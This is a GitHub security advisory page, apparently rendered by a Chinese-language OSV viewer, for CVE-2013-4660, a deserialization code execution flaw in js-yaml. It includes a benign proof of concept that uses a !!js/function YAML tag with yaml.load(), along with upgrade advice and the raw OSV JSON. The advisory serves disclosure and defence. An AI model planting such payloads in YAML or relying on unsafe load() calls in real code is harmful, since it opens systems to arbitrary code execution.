GHSA-XXVW-45RP-3MJ2严重已审查

Deserialization Code Execution in js-yaml

OSV 1.4.0 · github-reviewed · 修改于 2021-09-23 02:27

发布时间

2017-10-25 02:33

GitHub 审查时间

2020-06-17 06:05

NVD 发布时间

—

源文件

advisories/github-reviewed/2017/10/GHSA-xxvw-45rp-3mj2/GHSA-xxvw-45rp-3mj2.json

公告说明

Versions 2.0.4 and earlier of js-yaml are affected by a code execution vulnerability in the YAML deserializer.

Proof of Concept

const yaml = require('js-yaml');

const x = `test: !!js/function >
function f() { 
console.log(1); 
}();`

yaml.load(x);

Recommendation

Update js-yaml to version 2.0.5 or later, and ensure that all instances where the .load() method is called are updated to use .safeLoad() instead.

受影响的软件包

npm

js-yaml

ECOSYSTEM

引入0

标识信息

别名 / CVE

CVE-2013-4660

CWE

CWE-20

软件生态

npm

扩展资料

暂无扩展资料。

CVSS 评分

没有 CVSS 数据。

原始 OSV JSON

{
  "id": "GHSA-xxvw-45rp-3mj2",
  "aliases": [
    "CVE-2013-4660"
  ],
  "details": "Versions 2.0.4 and earlier of `js-yaml` are affected by a code execution vulnerability in the YAML deserializer.\n\n## Proof of Concept\n```\nconst yaml = require('js-yaml');\n\nconst x = `test: !!js/function >\nfunction f() { \nconsole.log(1); \n}();`\n\nyaml.load(x);\n```\n\n\n## Recommendation\n\nUpdate js-yaml to version 2.0.5 or later, and ensure that all instances where the `.load()` method is called are updated to use `.safeLoad()` instead.",
  "summary": "Deserialization Code Execution in js-yaml",
  "affected": [
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.5"
            }
          ]
        }
      ],
      "package": {
        "name": "js-yaml",
        "ecosystem": "npm"
      }
    }
  ],
  "modified": "2021-09-22T18:27:56Z",
  "severity": [],
  "published": "2017-10-24T18:33:37Z",
  "references": [
    {
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-4660",
      "type": "ADVISORY"
    },
    {
      "url": "https://github.com/advisories/GHSA-xxvw-45rp-3mj2",
      "type": "ADVISORY"
    },
    {
      "url": "https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module",
      "type": "WEB"
    },
    {
      "url": "https://www.npmjs.com/advisories/16",
      "type": "WEB"
    }
  ],
  "schema_version": "1.4.0",
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "severity": "CRITICAL",
    "github_reviewed": true,
    "nvd_published_at": null,
    "github_reviewed_at": "2020-06-16T22:05:02Z"
  }
}